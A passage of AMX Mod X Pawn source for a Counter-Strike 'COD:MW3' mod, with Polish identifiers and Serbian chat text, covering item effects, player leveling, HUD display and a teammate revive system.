  3194. parse(vaultdata, doswiadczeniegracza, 31, poziomgracza, 31, inteligencjagracza, 31, silagracza, 31, zrecznoscgracza, 31, zwinnoscgracza, 31);
  3195.  
  3196. doswiadczenie_gracza[id] = str_to_num(doswiadczeniegracza);
  3197. poziom_gracza[id] = str_to_num(poziomgracza)>0?str_to_num(poziomgracza):1;
  3198. inteligencja_gracza[id] = str_to_num(inteligencjagracza);
  3199. zdrowie_gracza[id] = str_to_num(silagracza);
  3200. wytrzymalosc_gracza[id] = str_to_num(zrecznoscgracza);
  3201. kondycja_gracza[id] = str_to_num(zwinnoscgracza);
  3202. punkty_gracza[id] = (poziom_gracza[id]-1)*2-inteligencja_gracza[id]-zdrowie_gracza[id]-wytrzymalosc_gracza[id]-kondycja_gracza[id];
  3203. }
  3204. public WyrzucPrzedmiot(id)
  3205. {
  3206. if(informacje_przedmiotu_gracza[id][0])
  3207. {
  3208. ColorChat(id, GREEN, "[COD:MW3] ^1 Bacio si: ^3%s.", nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]])
  3209. UsunPrzedmiot(id)
  3210. }
  3211. else
  3212. {
  3213. ColorChat(id, GREEN, "[COD:MW3] ^1 Nemas Nijedan Predmet")
  3214. }
  3215. }
  3216.  
  3217. public UsunPrzedmiot(id)
  3218. {
  3219. informacje_przedmiotu_gracza[id][0] = 0
  3220. informacje_przedmiotu_gracza[id][1] = 0
  3221.  
  3222. if(is_user_alive(id))
  3223. {
  3224. set_user_footsteps(id, 0)
  3225.  
  3226. if(!informacje_przedmiotu_gracza[id][0] && klasa_gracza[id] != Partizan)
  3227. {
  3228. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  3229. }
  3230.  
  3231. ZmienUbranie(id, 1)
  3232. }
  3233. }
  3234.  
  3235. public DajPrzedmiot(id, przedmiot)
  3236. {
  3237. UsunPrzedmiot(id)
  3238. informacje_przedmiotu_gracza[id][0] = przedmiot
  3239. new name[32]
  3240. get_user_name(id, name, 31)
  3241. ColorChat(0, GREEN, "%s ^x01 Je dobio Predmet - ^x03 %s", name, nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]]);
  3242. wytrzymalosc_itemu[id] = 160;
  3243. switch(przedmiot)
  3244. {
  3245. case 1: set_user_footsteps(id, 1);
  3246. case 2: informacje_przedmiotu_gracza[id][1] = random_num(3,6);
  3247. case 3: informacje_przedmiotu_gracza[id][1] = random_num(6, 11);
  3248. case 5: informacje_przedmiotu_gracza[id][1] = random_num(6, 9);
  3249. case 6:
  3250. {
  3251. informacje_przedmiotu_gracza[id][1] = random_num(120, 170);
  3252. set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, informacje_przedmiotu_gracza[id][1]);
  3253. }
  3254. case 7: informacje_przedmiotu_gracza[id][1] = random_num(2, 4);
  3255. case 8:
  3256. {
  3257. if(klasa_gracza[id] == Strelac)
  3258. DajPrzedmiot(id, random_num(1, sizeof nazwy_przedmiotow-1));
  3259. }
  3260. case 9:
  3261. {
  3262. informacje_przedmiotu_gracza[id][1] = random_num(1, 3);
  3263. ZmienUbranie(id, 0);
  3264. }
  3265. case 10: informacje_przedmiotu_gracza[id][1] = random_num(4, 8);
  3266. case 12: informacje_przedmiotu_gracza[id][1] = random_num(1, 4);
  3267. case 15:
  3268. {
  3269. if(klasa_gracza[id] == Rambo)
  3270. DajPrzedmiot(id, random_num(1, sizeof nazwy_przedmiotow-1));
  3271. }
  3272. case 16: set_task(5.0, "WyszkolenieSanitarne", id+ZADANIE_WYSZKOLENIE_SANITARNE);
  3273. case 17: set_user_armor(id, 500);
  3274. case 18:
  3275. {
  3276. maksymalne_zdrowie_gracza[id] += 100;
  3277. szybkosc_gracza[id] -= 0.4;
  3278. }
  3279. case 19: informacje_przedmiotu_gracza[id][1] = 1;
  3280. case 25:
  3281. {
  3282. maksymalne_zdrowie_gracza[id] += 50;
  3283. szybkosc_gracza[id] -= 0.3;
  3284. }
  3285. case 26: informacje_przedmiotu_gracza[id][1] = random_num(3, 6);
  3286. case 27: informacje_przedmiotu_gracza[id][1] = 3;
  3287. case 29:
  3288. {
  3289. maksymalne_zdrowie_gracza[id] += 50;
  3290. szybkosc_gracza[id] += 0.2;
  3291. }
  3292. case 30:
  3293. {
  3294. maksymalne_zdrowie_gracza[id] += 100;
  3295. szybkosc_gracza[id] -= 0.7;
  3296. }
  3297. case 31:
  3298. {
  3299. informacje_przedmiotu_gracza[id][1] = random_num(1, 3);
  3300. ZmienUbranie(id, 0);
  3301. }
  3302. case 34: informacje_przedmiotu_gracza[id][1] = random_num(2, 7);
  3303. case 35: informacje_przedmiotu_gracza[id][1] = random_num(3, 9);
  3304. case 36: maksymalne_zdrowie_gracza[id] = 10;
  3305. case 37: maksymalne_zdrowie_gracza[id] += 100;
  3306. case 38: ilosc_apteczek_gracza[id] = 5;
  3307. case 39: set_user_gravity(id, 0.5);
  3308. case 40: informacje_przedmiotu_gracza[id][1] = 1;
  3309. case 41: set_task(5.0, "WyszkolenieSanitarne", id+ZADANIE_WYSZKOLENIE_SANITARNE);
  3310. case 43: szybkosc_gracza[id] += 0.3;
  3311. case 42:
  3312. {
  3313. set_user_footsteps(id, 1);
  3314. maksymalne_zdrowie_gracza[id] += 100;
  3315. }
  3316. case 45: informacje_przedmiotu_gracza[id][1] = 1;
  3317. case 46:
  3318. {
  3319. informacje_przedmiotu_gracza[id][1] = random_num(4, 9);
  3320. set_user_armor(id, 500);
  3321. }
  3322. case 47: informacje_przedmiotu_gracza[id][1] = 5;
  3323. case 49: informacje_przedmiotu_gracza[id][1] = 1;
  3324. case 50:
  3325. {
  3326. set_user_footsteps(id, 1);
  3327. maksymalne_zdrowie_gracza[id] += 100;
  3328. szybkosc_gracza[id] += 0.4;
  3329. }
  3330. case 52: informacje_przedmiotu_gracza[id][1] = 1;
  3331. case 54:
  3332. {
  3333. set_user_footsteps(id, 1);
  3334. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 1);
  3335. set_user_gravity(id, 0.8);
  3336. }
  3337. case 55:
  3338. {
  3339. informacje_przedmiotu_gracza[id][1] = random_num(1, 3);
  3340. ZmienUbranie(id, 0);
  3341. }
  3342. case 56: informacje_przedmiotu_gracza[id][1] = random_num(7, 11);
  3343. case 57: informacje_przedmiotu_gracza[id][1] = random_num(7, 11);
  3344. case 58: set_user_footsteps(id, 1);
  3345. case 59: set_user_footsteps(id, 1);
  3346. case 60: informacje_przedmiotu_gracza[id][1] = random_num(3, 7);
  3347. case 61: ilosc_min_gracza[id] += 5;
  3348. case 62: informacje_przedmiotu_gracza[id][1] = random_num(4, 8);
  3349. case 64: cs_set_user_money(id,16000);
  3350. case 66: wytrzymalosc_itemu[id] = 80;
  3351. case 75: informacje_przedmiotu_gracza[id][1] = 1;
  3352. case 76: informacje_przedmiotu_gracza[id][1] = 1;
  3353. case 78: set_user_gravity(id, 0.5);
  3354. case 79:
  3355. {
  3356. szybkosc_gracza[id] += 10;
  3357. ilosc_min_gracza[id] += 3;
  3358. }
  3359. case 80:
  3360. {
  3361. give_item(id, "weapon_m3");
  3362. informacje_przedmiotu_gracza[id][1] = random_num(50, 100);
  3363. }
  3364. case 84: informacje_przedmiotu_gracza[id][1] = 1;
  3365. case 85: ResetHUD(id);
  3366. case 87: informacje_przedmiotu_gracza[id][1] = random_num(2, 4);
  3367. case 89:
  3368. {
  3369. szybkosc_gracza[id] *= 1.8;
  3370. UstawSzybkosc(id);
  3371. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 1);
  3372. give_item(id, "weapon_hegrenade");
  3373. cs_set_user_bpammo(id, CSW_HEGRENADE, 15);
  3374. informacje_przedmiotu_gracza[id][1] = 1;
  3375. }
  3376. }
  3377. }
  3378.  
  3379. public OpisPrzedmiotu(id)
  3380. {
  3381. new opis_przedmiotu[128];
  3382. new losowa_wartosc[3];
  3383. num_to_str(informacje_przedmiotu_gracza[id][1], losowa_wartosc, 2);
  3384. format(opis_przedmiotu, 127, opisy_przedmiotow[informacje_przedmiotu_gracza[id][0]]);
  3385. replace_all(opis_przedmiotu, 127, "LW", losowa_wartosc);
  3386.  
  3387. ColorChat(id, NORMAL, "^4Predmet: ^1%s.", nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]]);
  3388. ColorChat(id, NORMAL, "^4Opis: ^1%s.", opis_przedmiotu);
  3389.  
  3390. }
  3391.  
  3392. public Wskrzes(id)
  3393. {
  3394. id-=ZADANIE_WSKRZES;
  3395. ExecuteHamB(Ham_CS_RoundRespawn, id);
  3396. }
  3397.  
  3398. public SprawdzPoziom(id)
  3399. {
  3400. if(poziom_gracza[id] < 201)
  3401. {
  3402. while(doswiadczenie_gracza[id] >= doswiadczenie_poziomu[poziom_gracza[id]])
  3403. {
  3404. poziom_gracza[id]++;
  3405. set_hudmessage(60, 200, 25, -1.0, 0.25, 0, 1.0, 2.0, 0.1, 0.2, 2);
  3406. ShowSyncHudMsg(id, SyncHudObj3, "Dobro dosli na sledeci nivo");
  3407. client_cmd(id, "spk mw/levelup");
  3408. }
  3409.  
  3410. while(doswiadczenie_gracza[id] < doswiadczenie_poziomu[poziom_gracza[id] - 1])
  3411. poziom_gracza[id]--
  3412.  
  3413. punkty_gracza[id] = (poziom_gracza[id]-1)*2-inteligencja_gracza[id]-zdrowie_gracza[id]-wytrzymalosc_gracza[id]-kondycja_gracza[id];
  3414. }
  3415. ZapiszDane(id)
  3416. }
  3417.  
  3418. public message_health(msg_id,msg_dest,msg_entity)
  3419. {
  3420. if(pev(msg_entity, pev_health) >= 255)
  3421. {
  3422. set_msg_arg_int(1, ARG_BYTE, 255)
  3423. }
  3424.  
  3425. return PLUGIN_CONTINUE
  3426. }
  3427.  
  3428. public PokazInformacje(id)
  3429. {
  3430. id -= ZADANIE_POKAZ_INFORMACJE
  3431.  
  3432. set_task(0.1, "PokazInformacje", id + ZADANIE_POKAZ_INFORMACJE)
  3433.  
  3434. if(!is_user_alive(id))
  3435. {
  3436. new target = entity_get_int(id, EV_INT_iuser2)
  3437.  
  3438. if(target == 0)
  3439. {
  3440. return PLUGIN_CONTINUE
  3441. }
  3442.  
  3443. set_hudmessage(0, 255, 0, 0.6, -1.0, 0, 0.0, 0.3, 0.0, 0.0, 2);
  3444. ShowSyncHudMsg(id, SyncHudObj, "Klasa : %s^nIskustvo : %i / %i^nLevel : %i^nPredmet : %s ^nKillStreak: x%i", nazwy_klas[klasa_gracza[target]], doswiadczenie_gracza[target], doswiadczenie_poziomu[poziom_gracza[target]], poziom_gracza[target], nazwy_przedmiotow[informacje_przedmiotu_gracza[target][0]], licznik_zabic[target]);
  3445.  
  3446. return PLUGIN_CONTINUE
  3447. }
  3448.  
  3449. set_hudmessage(0, 255, 0, 0.02, 0.17, 0, 0.0, 0.3, 0.0, 0.0);
  3450. ShowSyncHudMsg(id, SyncHudObj, "[Klasa : %s]^n[Iskustvo: %i / %i]^n[Level : %i]^n[Predmet: %s]^n[Snaga: %i]^n[Energija: %i]^n[KillStreak: x%i]", nazwy_klas[klasa_gracza[id]], doswiadczenie_gracza[id], doswiadczenie_poziomu[poziom_gracza[id]], poziom_gracza[id], nazwy_przedmiotow[informacje_przedmiotu_gracza[id][0]],wytrzymalosc_itemu[id], get_user_health(id), licznik_zabic[id]);
  3451.  
  3452. return PLUGIN_CONTINUE
  3453. }
  3454.  
  3455. public PokazReklame(id)
  3456. {
  3457. id -= ZADANIE_POKAZ_REKLAME
  3458.  
  3459. if(-1 < get_user_team(id) < 4)
  3460. {
  3461. ColorChat(0, GREEN, "[COD:MW] ^1Dobro Dosli Na COD:MW Mod by ^3QTM.Peyote")
  3462. }
  3463. }
  3464.  
  3465. public UstawSzybkosc(id)
  3466. {
  3467. id -= id > 32 ? ZADANIE_USTAW_SZYBKOSC : 0
  3468.  
  3469. if(klasa_gracza[id])
  3470. {
  3471. set_user_maxspeed(id, szybkosc_gracza[id])
  3472. }
  3473. }
  3474.  
  3475. public ZmienUbranie(id,reset)
  3476. {
  3477. if (id < 1 || id > 32 || !is_user_connected(id))
  3478. return PLUGIN_CONTINUE
  3479.  
  3480. if (reset)
  3481. cs_reset_user_model(id);
  3482. else
  3483. {
  3484. new num = random_num(0,3);
  3485. switch(get_user_team(id))
  3486. {
  3487. case 1: cs_set_user_model(id, Ubrania_CT[num]);
  3488. case 2:cs_set_user_model(id, Ubrania_Terro[num]);
  3489. }
  3490. }
  3491.  
  3492. return PLUGIN_CONTINUE;
  3493. }
  3494. public WylaczPomoc(id)
  3495. {
  3496. if(pomocs[id] == true)
  3497. {
  3498. pomocs[id] = false;
  3499. set_hudmessage(255, 0, 0, -1.0, 0.01)
  3500. show_hudmessage(id, "Pomoce je onemogucena")
  3501. }
  3502. else if(pomocs[id] == false)
  3503. {
  3504. pomocs[id] = true;
  3505. Pomoc();
  3506. set_hudmessage(255, 0, 0, -1.0, 0.01)
  3507. show_hudmessage(id, "Pomoc Ukljucena")
  3508. }
  3509. }
  3510. public Pomoc()
  3511. {
  3512. switch(random(8))
  3513. {
  3514. case 0:
  3515. {
  3516. ColorChat(0, GREEN, "[COD:MW3] ^1Da resetujes level-e,kucaj ^3/reset")
  3517. }
  3518. case 1:
  3519. {
  3520. ColorChat(0, GREEN, "[COD:MW3] ^1Da promenis klasu,kucaj ^3/klasa")
  3521. }
  3522. case 2:
  3523. {
  3524. ColorChat(0, GREEN, "[COD:MW3] ^1Da koristis predmete (mine, rakete), stisni ^3E")
  3525. }
  3526. case 3:
  3527. {
  3528. ColorChat(0, GREEN, "[COD:MW3] ^1Da izbacis predmet,kucaj ^3/izbaci")
  3529. }
  3530. case 4:
  3531. {
  3532. ColorChat(0, GREEN, "[COD:MW3] ^1Da vidis opis predmeta,kucaj ^3/predmet")
  3533. }
  3534. case 5:
  3535. {
  3536. ColorChat(0, GREEN, "[COD:MW3] ^1Da vidis opis klase,kucaj ^3/opis")
  3537. }
  3538. case 6:
  3539. {
  3540. ColorChat(0, GREEN, "[COD:MW3] ^1Da otvoris COD:MW Shop,kucaj ^3/shop")
  3541. }
  3542. case 7:
  3543. {
  3544. ColorChat(0, GREEN, "[COD:MW3] ^1Ako zelis nekom da das predmet kucaj, ^3/daj")
  3545. }
  3546. }
  3547. set_task(40.0, "Pomoc")
  3548. }
  3549. public cmd_setlvl(id, level, cid)
  3550. {
  3551. if(!cmd_access(id,level,cid,3))
  3552. return PLUGIN_HANDLED;
  3553. new arg1[33];
  3554. new arg2[6];
  3555. read_argv(1, arg1, 32);
  3556. read_argv(2, arg2, 5);
  3557. new player = cmd_target(id, arg1);
  3558. if(!is_user_connected(player))
  3559. return PLUGIN_HANDLED;
  3560. new value = str_to_num(arg2)-1;
  3561.  
  3562. doswiadczenie_gracza[player] = doswiadczenie_poziomu[value];
  3563. poziom_gracza[player] = 0;
  3564. SprawdzPoziom(player);
  3565. return PLUGIN_HANDLED;
  3566. }
  3567.  
  3568. public DotykBroni(weapon,id)
  3569. {
  3570. new model[23];
  3571. entity_get_string(weapon, EV_SZ_model, model, 22);
  3572. if (!is_user_connected(id) || entity_get_edict(weapon, EV_ENT_owner) == id || equal(model, "models/w_backpack.mdl"))
  3573. return HAM_IGNORED;
  3574. return HAM_SUPERCEDE;
  3575. }
  3576.  
  3577. public BlokujKomende()
  3578. return PLUGIN_HANDLED;
  3579.  
  3580. stock bool:UTIL_In_FOV(id,target)
  3581. {
  3582. if (Find_Angle(id,target,9999.9) > 0.0)
  3583. return true;
  3584.  
  3585. return false;
  3586. }
  3587.  
  3588. stock Float:Find_Angle(Core,Target,Float:dist)
  3589. {
  3590. new Float:vec2LOS[2];
  3591. new Float:flDot;
  3592. new Float:CoreOrigin[3];
  3593. new Float:TargetOrigin[3];
  3594. new Float:CoreAngles[3];
  3595.  
  3596. pev(Core,pev_origin,CoreOrigin);
  3597. pev(Target,pev_origin,TargetOrigin);
  3598.  
  3599. if (get_distance_f(CoreOrigin,TargetOrigin) > dist)
  3600. return 0.0;
  3601.  
  3602. pev(Core,pev_angles, CoreAngles);
  3603.  
  3604. for ( new i = 0; i < 2; i++ )
  3605. vec2LOS[i] = TargetOrigin[i] - CoreOrigin[i];
  3606.  
  3607. new Float:veclength = Vec2DLength(vec2LOS);
  3608.  
  3609. //Normalize V2LOS
  3610. if (veclength <= 0.0)
  3611. {
  3612. vec2LOS[0] = 0.0;
  3613. vec2LOS[1] = 0.0;
  3614. }
  3615. else
  3616. {
  3617. new Float:flLen = 1.0 / veclength;
  3618. vec2LOS[0] = vec2LOS[0]*flLen;
  3619. vec2LOS[1] = vec2LOS[1]*flLen;
  3620. }
  3621.  
  3622. //Do a makevector to make v_forward right
  3623. engfunc(EngFunc_MakeVectors,CoreAngles);
  3624.  
  3625. new Float:v_forward[3];
  3626. new Float:v_forward2D[2];
  3627. get_global_vector(GL_v_forward, v_forward);
  3628.  
  3629. v_forward2D[0] = v_forward[0];
  3630. v_forward2D[1] = v_forward[1];
  3631.  
  3632. flDot = vec2LOS[0]*v_forward2D[0]+vec2LOS[1]*v_forward2D[1];
  3633.  
  3634. if ( flDot > 0.5 )
  3635. {
  3636. return flDot;
  3637. }
  3638.  
  3639. return 0.0;
  3640. }
  3641.  
  3642. stock Float:Vec2DLength( Float:Vec[2] )
  3643. {
  3644. return floatsqroot(Vec[0]*Vec[0] + Vec[1]*Vec[1] );
  3645. }
  3646.  
  3647. stock Display_Fade(id,duration,holdtime,fadetype,red,green,blue,alpha)
  3648. {
  3649. message_begin( MSG_ONE, g_msg_screenfade,{0,0,0},id );
  3650. write_short( duration ); // Duration of fadeout
  3651. write_short( holdtime ); // Hold time of color
  3652. write_short( fadetype ); // Fade type
  3653. write_byte ( red ); // Red
  3654. write_byte ( green ); // Green
  3655. write_byte ( blue ); // Blue
  3656. write_byte ( alpha ); // Alpha
  3657. message_end();
  3658. }
  3659.  
  3660. stock set_user_clip(id, ammo)
  3661. {
  3662. new weaponname[32], weaponid = -1, weapon = get_user_weapon(id, _, _);
  3663. get_weaponname(weapon, weaponname, 31);
  3664. while ((weaponid = find_ent_by_class(weaponid, weaponname)) != 0)
  3665. if(entity_get_edict(weaponid, EV_ENT_owner) == id)
  3666. {
  3667. set_pdata_int(weaponid, 51, ammo, 4);
  3668. return weaponid;
  3669. }
  3670. return 0;
  3671. }
  3672.  
  3673. public client_death(killer,victim,weapon,hitplace,TK) {
  3674.  
  3675. if(!killer || !victim || TK)
  3676. return;
  3677.  
  3678. if(hitplace == HIT_HEAD)
  3679. {
  3680.  
  3681. doswiadczenie_gracza[killer] += doswiadczenie_za_hs;
  3682.  
  3683. ColorChat(killer, RED, "[COD:MW3] ^x01 Dobio si ^x03 %i ^x01 iskustvo jer si pogodio u glavu.", doswiadczenie_za_hs);
  3684.  
  3685. }
  3686. }
  3687.  
  3688. public message_clcorpse()
  3689. return PLUGIN_HANDLED
  3690.  
  3691. public event_hltv()
  3692. {
  3693. remove_entity_name("fake_corpse")
  3694.  
  3695. static players[32], num
  3696. get_players(players, num, "a")
  3697. for(new i = 0; i < num; ++i)
  3698. reset_player(players[i])
  3699. }
  3700.  
  3701. public reset_player(id)
  3702. {
  3703. if(!is_user_connected(id))
  3704. return PLUGIN_HANDLED;
  3705. remove_task(TASKID_REVIVE + id)
  3706. remove_task(TASKID_RESPAWN + id)
  3707. remove_task(TASKID_CHECKRE + id)
  3708. remove_task(TASKID_CHECKST + id)
  3709. remove_task(TASKID_ORIGIN + id)
  3710. remove_task(TASKID_SETUSER + id)
  3711.  
  3712. msg_bartime(id, 0)
  3713. g_revive_delay[id] = 0.0
  3714. g_wasducking[id] = false
  3715. g_body_origin[id] = Float:{0.0, 0.0, 0.0}
  3716. return PLUGIN_HANDLED;
  3717. }
  3718.  
  3719. public event_death()
  3720. {
  3721. new id = read_data(2)
  3722.  
  3723. reset_player(id)
  3724.  
  3725. static Float:minsize[3]
  3726. pev(id, pev_mins, minsize)
  3727.  
  3728. if(minsize[2] == -18.0)
  3729. g_wasducking[id] = true
  3730. else
  3731. g_wasducking[id] = false
  3732.  
  3733. set_task(0.5, "task_check_dead_flag", id)
  3734.  
  3735. if(read_data(1)<=maxplayers && read_data(1) && read_data(1)!=read_data(2)) cs_set_user_money(read_data(1),cs_get_user_money(read_data(1)) + get_pcvar_num(mkb) - 300)
  3736. }
  3737.  
  3738. public fwd_playerpostthink(id)
  3739. {
  3740. if(!is_user_connected(id) || !g_haskit[id])
  3741. return FMRES_IGNORED
  3742.  
  3743. if(!is_user_alive(id))
  3744. {
  3745. msg_statusicon(id, ICON_HIDE)
  3746. return FMRES_IGNORED
  3747. }
  3748.  
  3749. new body = find_dead_body(id)
  3750. if(is_valid_ent(body))
  3751. {
  3752. new lucky_bastard = pev(body, pev_owner)
  3753.  
  3754. if(!is_user_connected(lucky_bastard))
  3755. return FMRES_IGNORED
  3756.  
  3757. new lb_team = get_user_team(lucky_bastard)
  3758. new rev_team = get_user_team(id)
  3759. if(lb_team == 1 || lb_team == 2 && lb_team == rev_team)
  3760. msg_statusicon(id, ICON_FLASH)
  3761. }
  3762. else
  3763. msg_statusicon(id, ICON_SHOW)
  3764.  
  3765. return FMRES_IGNORED
  3766. }
  3767.  
  3768. public task_check_dead_flag(id)
  3769. {
  3770. if(!is_user_connected(id))
  3771. return
  3772.  
  3773. if(pev(id, pev_deadflag) == DEAD_DEAD)
  3774. create_fake_corpse(id)
  3775. else
  3776. set_task(0.5, "task_check_dead_flag", id)
  3777. }
  3778.  
  3779. public create_fake_corpse(id)
  3780. {
  3781. set_pev(id, pev_effects, EF_NODRAW)
  3782.  
  3783. static model[32]
  3784. cs_get_user_model(id, model, 31)
  3785.  
  3786. static player_model[64]
  3787. format(player_model, 63, "models/player/%s/%s.mdl", model, model)
  3788.  
  3789. static Float: player_origin[3]
  3790. pev(id, pev_origin, player_origin)
  3791.  
  3792. static Float:mins[3]
  3793. mins[0] = -16.0
  3794. mins[1] = -16.0
  3795. mins[2] = -34.0
  3796.  
  3797. static Float:maxs[3]
  3798. maxs[0] = 16.0
  3799. maxs[1] = 16.0
  3800. maxs[2] = 34.0
  3801.  
  3802. if(g_wasducking[id])
  3803. {
  3804. mins[2] /= 2
  3805. maxs[2] /= 2
  3806. }
  3807.  
  3808. static Float:player_angles[3]
  3809. pev(id, pev_angles, player_angles)
  3810. player_angles[2] = 0.0
  3811.  
  3812. new sequence = pev(id, pev_sequence)
  3813.  
  3814. new ent = create_entity("info_target")
  3815. if(ent)
  3816. {
  3817. set_pev(ent, pev_classname, "fake_corpse")
  3818. engfunc(EngFunc_SetModel, ent, player_model)
  3819. engfunc(EngFunc_SetOrigin, ent, player_origin)
  3820. engfunc(EngFunc_SetSize, ent, mins, maxs)
  3821. set_pev(ent, pev_solid, SOLID_TRIGGER)
  3822. set_pev(ent, pev_movetype, MOVETYPE_TOSS)
  3823. set_pev(ent, pev_owner, id)
  3824. set_pev(ent, pev_angles, player_angles)
  3825. set_pev(ent, pev_sequence, sequence)
  3826. set_pev(ent, pev_frame, 9999.9)
  3827. }
  3828. }
  3829.  
  3830. public fwd_emitsound(id, channel, sound[])
  3831. {
  3832. if(!is_user_alive(id) || !g_haskit[id])
  3833. return FMRES_IGNORED
  3834.  
  3835. if(!equali(sound, "common/wpn_denyselect.wav"))
  3836. return FMRES_IGNORED
  3837.  
  3838. if(task_exists(TASKID_REVIVE + id))
  3839. return FMRES_IGNORED
  3840.  
  3841. if(!(get_user_button(id) & IN_USE))
  3842. {
  3843. return FMRES_IGNORED
  3844. }
  3845.  
  3846. new body = find_dead_body(id)
  3847. if(!is_valid_ent(body))
  3848. return FMRES_IGNORED
  3849.  
  3850. new lucky_bastard = pev(body, pev_owner)
  3851. new lb_team = get_user_team(lucky_bastard)
  3852. new rev_team = get_user_team(id)
  3853. if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
  3854. return FMRES_IGNORED
  3855.  
  3856. static name[32]
  3857. get_user_name(lucky_bastard, name, 31)
  3858. client_print(id, print_chat, "Reanimacja %s", name)
  3859.  
  3860. new revivaltime = get_pcvar_num(cvar_revival_time)
  3861. msg_bartime(id, revivaltime)
  3862.  
  3863. new Float:gametime = get_gametime()
  3864. g_revive_delay[id] = gametime + float(revivaltime) - 0.01
  3865.  
  3866. emit_sound(id, CHAN_AUTO, SOUND_START, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
  3867. set_task(0.0, "task_revive", TASKID_REVIVE + id)
  3868.  
  3869. return FMRES_SUPERCEDE
  3870. }
  3871.  
  3872. public task_revive(taskid)
  3873. {
  3874. new id = taskid - TASKID_REVIVE
  3875.  
  3876. if(!is_user_alive(id))
  3877. {
  3878. failed_revive(id)
  3879. return FMRES_IGNORED
  3880. }
  3881.  
  3882. if(!(get_user_button(id) & IN_USE))
  3883. {
  3884. failed_revive(id)
  3885. return FMRES_IGNORED
  3886. }
  3887.  
  3888. new body = find_dead_body(id)
  3889. if(!is_valid_ent(body))
  3890. {
  3891. failed_revive(id)
  3892. return FMRES_IGNORED
  3893. }
  3894.  
  3895. new lucky_bastard = pev(body, pev_owner)
  3896. if(!is_user_connected(lucky_bastard))
  3897. {
  3898. failed_revive(id)
  3899. return FMRES_IGNORED
  3900. }
  3901.  
  3902. new lb_team = get_user_team(lucky_bastard)
  3903. new rev_team = get_user_team(id)
  3904. if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
  3905. {
  3906. failed_revive(id)
  3907. return FMRES_IGNORED
  3908. }
  3909.  
  3910. static Float:velocity[3]
  3911. pev(id, pev_velocity, velocity)
  3912. velocity[0] = 0.0
  3913. velocity[1] = 0.0
  3914. set_pev(id, pev_velocity, velocity)
  3915.  
  3916. new Float:gametime = get_gametime()
  3917. if(g_revive_delay[id] < gametime)
  3918. {
  3919. if(findemptyloc(body, 10.0))
  3920. {
  3921. remove_entity(body)
  3922. emit_sound(id, CHAN_AUTO, SOUND_FINISHED, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
  3923. set_task(0.1, "task_respawn", TASKID_RESPAWN + lucky_bastard)
  3924. }
  3925. else
  3926. failed_revive(id)
  3927. }
  3928. else
  3929. set_task(0.1, "task_revive", TASKID_REVIVE + id)
  3930.  
  3931. return FMRES_IGNORED
  3932. }
  3933.  
  3934. public failed_revive(id)
  3935. {
  3936. msg_bartime(id, 0)
  3937. emit_sound(id, CHAN_AUTO, SOUND_FAILED, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
  3938. }
  3939.  
  3940. public task_origin(taskid)
  3941. {
  3942. new id = taskid - TASKID_ORIGIN
  3943. engfunc(EngFunc_SetOrigin, id, g_body_origin[id])
  3944.  
  3945. static Float:origin[3]
  3946. pev(id, pev_origin, origin)
  3947. set_pev(id, pev_zorigin, origin[2])
  3948.  
  3949. set_task(0.1, "task_stuck_check", TASKID_CHECKST + id)
  3950. }
  3951.  
  3952. stock find_dead_body(id)
  3953. {
  3954. static Float:origin[3]
  3955. pev(id, pev_origin, origin)
  3956.  
  3957. new ent
  3958. static classname[32]
  3959. while((ent = find_ent_in_sphere(ent, origin, get_pcvar_float(cvar_revival_dis))) != 0)
  3960. {
  3961. pev(ent, pev_classname, classname, 31)
  3962. if(equali(classname, "fake_corpse") && is_visible(id, ent))
  3963. return ent
  3964. }
  3965. return 0
  3966. }
  3967.  
  3968. stock msg_bartime(id, seconds)
  3969. {
  3970. if(is_user_bot(id))
  3971. return
  3972.  
  3973. message_begin(MSG_ONE, g_msg_bartime, _, id)
  3974. write_byte(seconds)
  3975. write_byte(0)
  3976. message_end()
  3977. }
  3978.  
  3979. stock msg_statusicon(id, status)
  3980. {
  3981. if(is_user_bot(id))
  3982. return
  3983.  
  3984. message_begin(MSG_ONE, g_msg_statusicon, _, id)
  3985. write_byte(status)
  3986. write_string("rescue")
  3987. write_byte(0)
  3988. write_byte(160)
  3989. write_byte(0)
  3990. message_end()
  3991. }
  3992.  
  3993. public task_respawn(taskid)
  3994. {
  3995. new id = taskid - TASKID_RESPAWN
  3996.  
  3997. set_pev(id, pev_deadflag, DEAD_RESPAWNABLE)
  3998. dllfunc(DLLFunc_Spawn, id)
  3999. set_pev(id, pev_iuser1, 0)
  4000.  
  4001. set_task(0.1, "task_check_respawn", TASKID_CHECKRE + id)
  4002. }
  4003.  
  4004. public task_check_respawn(taskid)
  4005. {
  4006. new id = taskid - TASKID_CHECKRE
  4007.  
  4008. if(pev(id, pev_iuser1))
  4009. set_task(0.1, "task_respawn", TASKID_RESPAWN + id)
  4010. else
  4011. set_task(0.1, "task_origin", TASKID_ORIGIN + id)
  4012. }
  4013.  
  4014. public task_stuck_check(taskid)
  4015. {
  4016. new id = taskid - TASKID_CHECKST
  4017.  
  4018. static Float:origin[3]
  4019. pev(id, pev_origin, origin)
  4020.  
  4021. if(origin[2] == pev(id, pev_zorigin))
  4022. set_task(0.1, "task_respawn", TASKID_RESPAWN + id)
  4023. else
  4024. set_task(0.1, "task_setplayer", TASKID_SETUSER + id)
  4025. }
  4026.  
  4027. public task_setplayer(taskid)
  4028. {
  4029. new id = taskid - TASKID_SETUSER
  4030.  
  4031. set_user_health(id, get_pcvar_num(cvar_revival_health))
  4032.  
  4033. message_begin(MSG_ONE,g_msg_screenfade, _, id)
  4034. write_short(seconds(2))
  4035. write_short(seconds(2))
  4036. write_short(0)
  4037. write_byte(0)
  4038. write_byte(0)
  4039. write_byte(0)
  4040. write_byte(255)
  4041. message_end()
  4042. }
  4043.  
  4044.  
  4045. stock bool:findemptyloc(ent, Float:radius)
  4046. {
  4047. if(!is_valid_ent(ent))
  4048. return false
  4049.  
  4050. static Float:origin[3]
  4051. pev(ent, pev_origin, origin)
  4052. origin[2] += 2.0
